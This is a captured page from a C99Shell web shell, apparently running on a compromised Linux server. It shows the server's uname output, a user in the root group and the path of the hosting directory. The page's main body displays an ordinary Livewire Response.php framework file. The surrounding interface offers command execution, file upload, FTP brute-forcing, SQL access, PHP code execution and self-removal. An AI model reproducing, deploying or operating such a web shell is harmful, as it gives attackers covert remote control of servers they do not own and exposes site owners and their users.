!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/vendor/livewire/livewire/src/   drwxr-xr-x
Free 29.11 GB of 117.98 GB (24.68%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Response.php (3.02 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Livewire;

use 
Livewire\HydrationMiddleware\AddAttributesToRootTagOfHtml;

class 
Response
{
    public 
$request;

    public 
$fingerprint;
    public 
$effects;
    public 
$memo;

    public static function 
fromRequest($request)
    {
        return new static(
$request);
    }

    public function 
__construct($request)
    {
        
$this->request $request;

        
$this->fingerprint $request->fingerprint;
        
$this->memo $request->memo;
        
$this->effects = [];
    }

    public function 
id() { return $this->fingerprint['id']; }

    public function 
embedThyselfInHtml()
    {
        if (! 
$html $this->effects['html'] ?? null) return;

        
$this->effects['html'] = (new AddAttributesToRootTagOfHtml)($html, [
            
'initial-data' => $this->toArrayWithoutHtml(),
        ]);
    }

    public function 
embedIdInHtml()
    {
        if (! 
$html $this->effects['html'] ?? null) return;

        
$this->effects['html'] = (new AddAttributesToRootTagOfHtml)($html, [
            
'id' => $this->fingerprint['id'],
        ]);
    }

    public function 
html()
    {
        return 
$this->effects['html'] ?? null;
    }

    public function 
toArrayWithoutHtml()
    {
        return [
            
'fingerprint' => $this->fingerprint,
            
'effects' => array_diff_key($this->effects, ['html' => null]),
            
'serverMemo' => $this->memo,
        ];
    }

    public function 
toInitialResponse()
    {
        return 
tap($this)->embedIdInHtml();
    }

    public function 
toSubsequentResponse()
    {
        
$this->embedIdInHtml();

        
$requestMemo $this->request->memo;
        
$responseMemo $this->memo;
        
$dirtyMemo = [];

        
// Only send along the memos that have changed to not bloat the payload.
        
foreach ($responseMemo as $key => $newValue) {
            
// If the memo key is not in the request, add it.
            
if (! isset($requestMemo[$key])) {
                
$dirtyMemo[$key] = $newValue;

                continue;
            }

            
// If the memo values are the same, skip adding them.
            
if ($requestMemo[$key] === $newValue) continue;

            
$dirtyMemo[$key] = $newValue;
        }

        
// If 'data' is present in the response memo, diff it one level deep.
        
if (isset($dirtyMemo['data']) && isset($requestMemo['data'])) {
            foreach (
$dirtyMemo['data'] as $key => $value) {
                if (! isset(
$requestMemo['data'][$key])) continue;

                if (
$value === $requestMemo['data'][$key]) {
                    unset(
$dirtyMemo['data'][$key]);
                }
            }
        }

        
// Make sure any data marked as "dirty" is present in the resulting data payload.
        
foreach (data_get($this'effects.dirty', []) as $property) {
            
$property head(explode('.'$property));

            
data_set($dirtyMemo'data.'.$property$responseMemo['data'][$property] ?? null);
        }

        return [
            
'effects' => $this->effects,
            
'serverMemo' => $dirtyMemo,
        ];
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0035 ]--